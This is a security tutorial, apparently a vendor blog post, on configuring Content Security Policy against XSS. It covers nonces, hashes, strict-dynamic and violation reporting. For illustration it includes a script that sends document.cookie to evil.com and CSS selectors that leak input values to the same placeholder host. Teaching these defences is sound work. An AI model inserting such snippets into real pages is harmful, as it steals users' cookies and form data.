Content Security Policy Deep Dive: From XSS Defense to strict-dynamic
CSP: The Last Line of Defense Against XSS
Content Security Policy (CSP) is an HTTP response header that tells the browser which resources can load and from where. Even if an attacker injects a malicious script, CSP can block its execution.
XSS Attack Without CSP
<!-- Attacker-injected script -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
With CSP
Content-Security-Policy: default-src 'self'
→ Browser refuses to execute inline scripts
→ Refuses to load non-same-origin resources
→ XSS attack fails
Core CSP Directives
Resource Loading Directives
| Directive | Controls | Example Value |
|---|---|---|
default-src |
Default policy for all resources | 'self' |
script-src |
JavaScript sources | 'self' 'nonce-abc' |
style-src |
CSS sources | 'self' 'unsafe-inline' |
img-src |
Image sources | 'self' data: https: |
font-src |
Font sources | 'self' https://fonts.gstatic.com |
connect-src |
fetch/XHR/WebSocket sources | 'self' https://api.example.com |
media-src |
Audio/video sources | 'self' |
object-src |
<object>/<embed> sources |
'none' |
frame-src |
iframe sources | 'self' |
base-uri |
<base href> restriction |
'self' |
form-action |
Form submission targets | 'self' |
Document Directives
| Directive | Effect | Recommended Value |
|---|---|---|
upgrade-insecure-requests |
Auto-upgrade HTTP to HTTPS | (no value needed) |
block-all-mixed-content |
Block mixed content | (no value needed) |
sandbox |
Restrict page capabilities | allow-scripts allow-forms |
From unsafe-inline to nonce/hash
The Risk of unsafe-inline
script-src 'self' 'unsafe-inline'
→ Allows all inline scripts to execute
→ XSS-injected <script> also executes
→ CSP becomes ineffective
The nonce Approach
The server generates a random nonce per request; only scripts with a matching nonce can execute:
<!-- HTTP response header -->
Content-Security-Policy: script-src 'self' 'nonce-abc123def456'
<!-- Script in HTML -->
<script nonce="abc123def456">
console.log('This is a legitimate script');
</script>
<!-- Attacker-injected script has no nonce → blocked -->
<script>
stealCookies(); // Will not execute
</script>
Implementing nonce in Next.js
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const csp = `script-src 'self' 'nonce-${nonce}'`;
const response = NextResponse.next();
response.headers.set('Content-Security-Policy', csp);
response.headers.set('x-nonce', nonce);
return response;
}
The hash Approach
Compute a SHA256 hash of script content; only scripts with matching hashes can execute:
Content-Security-Policy: script-src 'self' 'sha256-abc123...'
<!-- Script with matching hash can execute -->
<script>console.log('Fixed content script');</script>
hash works for fixed-content inline scripts (e.g., GA initialization code); nonce is better for dynamic content.
strict-dynamic: Trust Chain Propagation
The Pain of Traditional CSP
Every new third-party script source requires adding a domain to script-src:
script-src 'self' cdn.jsdelivr.net cdn.jsdelivr.net/npm analytics.google.com ...
Hard to maintain, and trusts ALL scripts under those domains.
The strict-dynamic Approach
strict-dynamic means: scripts dynamically loaded by nonce/hash-trusted scripts are also automatically trusted.
script-src 'strict-dynamic' 'nonce-abc123'
<script>with the nonce can execute- Scripts created by that script via
document.createElement('script')can also execute - No need to list all CDN domains in CSP
Trust Chain Propagation Rules
Nonce-trusted script
↓ dynamically loads
Child script auto-trusted
↓ dynamically loads
Grandchild script auto-trusted
↓ ...
Under
strict-dynamic, traditional source expressions like'self','unsafe-inline', and domain sources are ignored. Only nonce/hash serve as trust roots.
Special Handling for style-src
Why CSS Also Needs CSP
Attackers can exfiltrate data through CSS:
/* CSS data exfiltration: load different backgrounds based on attribute values */
input[value^="a"] { background: url(https://evil.com/?char=a); }
input[value^="b"] { background: url(https://evil.com/?char=b); }
Style CSP Strategy
style-src 'self' 'nonce-xyz789'
<style nonce="xyz789">
.card { border-radius: 8px; }
</style>
Many frameworks (e.g., Tailwind CSS JIT) require
'unsafe-inline'. Gradually tighten via nonce or hash.
CSP Violation Reporting
Configuring the Report Endpoint
Content-Security-Policy: default-src 'self'; report-uri /api/csp-report
Or using the newer report-to:
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://toolsku.com/api/csp-report"
Violation Report Format
{
"csp-report": {
"document-uri": "https://toolsku.com/blog/csp",
"violated-directive": "script-src 'self'",
"blocked-uri": "inline",
"source-file": "https://toolsku.com/blog/csp",
"line-number": 42,
"column-number": 8
}
}
Server-Side Report Handling
export async function POST(request: Request) {
const report = await request.json();
console.error('CSP violation:', report['csp-report']);
await db.insert('csp_violations', {
uri: report['csp-report']['document-uri'],
directive: report['csp-report']['violated-directive'],
blocked: report['csp-report']['blocked-uri'],
timestamp: new Date()
});
return new Response(null, { status: 204 });
}
CSP Report-Only Mode
Before deploying CSP, use Report-Only mode to observe violations without actually blocking:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /api/csp-report
Progressive Deployment Flow
1. Set CSP-Report-Only → collect violation reports
2. Analyze reports → adjust CSP policy
3. When violations reach zero → switch to enforced CSP
4. Monitor continuously → adjust if new violations appear
Complete CSP Configuration Example
ToolsKu Website CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' 'strict-dynamic' 'nonce-{NONCE}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.toolsku.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
report-uri /api/csp-report
Configuration Breakdown
| Directive | Value | Security Significance |
|---|---|---|
default-src 'self' |
Same-origin only by default | Prevents arbitrary resource loading |
script-src 'strict-dynamic' 'nonce-...' |
nonce + trust chain | Eliminates unsafe-inline |
style-src 'unsafe-inline' |
Allow inline styles | Required by Tailwind JIT |
object-src 'none' |
No Flash/Java | Eliminates legacy plugin attack surface |
frame-src 'none' |
No iframes | Prevents clickjacking |
base-uri 'self' |
Restrict base tag | Prevents base hijacking |
form-action 'self' |
Forms submit same-origin only | Prevents form hijacking |
Complementary Security Response Headers
| Header | Effect | Recommended Value |
|---|---|---|
X-Content-Type-Options |
Prevent MIME sniffing | nosniff |
X-Frame-Options |
Prevent iframe embedding | DENY |
X-XSS-Protection |
Browser XSS filter | 0 (CSP covers this) |
Strict-Transport-Security |
Force HTTPS | max-age=31536000; includeSubDomains |
Referrer-Policy |
Control Referer leakage | strict-origin-when-cross-origin |
Permissions-Policy |
Restrict browser APIs | camera=(), microphone=(), geolocation=() |
Common Pitfalls
| Pitfall | Description | Solution |
|---|---|---|
unsafe-eval |
Allows eval()/new Function() |
Avoid eval, or replace with Wasm |
unsafe-inline + nonce |
When nonce exists, inline is ignored | Remove unsafe-inline |
Missing default-src |
Unset directives fall back to default-src | Always set default-src |
| Too many CDN domains | Hard to maintain | Use strict-dynamic |
No base-uri |
Attacker can inject <base> to change relative paths |
Set base-uri 'self' |
Summary
CSP is the core mechanism for XSS defense. Migrating from unsafe-inline to nonce + strict-dynamic is the best practice for modern CSP: it eliminates the risk of inline scripts while solving the maintenance burden of third-party script trust chains. Combined with Report-Only progressive deployment and violation report monitoring, you can continuously tighten security policy without breaking functionality.
Use the CSP Generator to quickly configure CSP policies, the HTTP Headers Analyzer to check response header security, and the Permissions Policy Tool to restrict browser API access.
Try these browser-local tools — no sign-up required →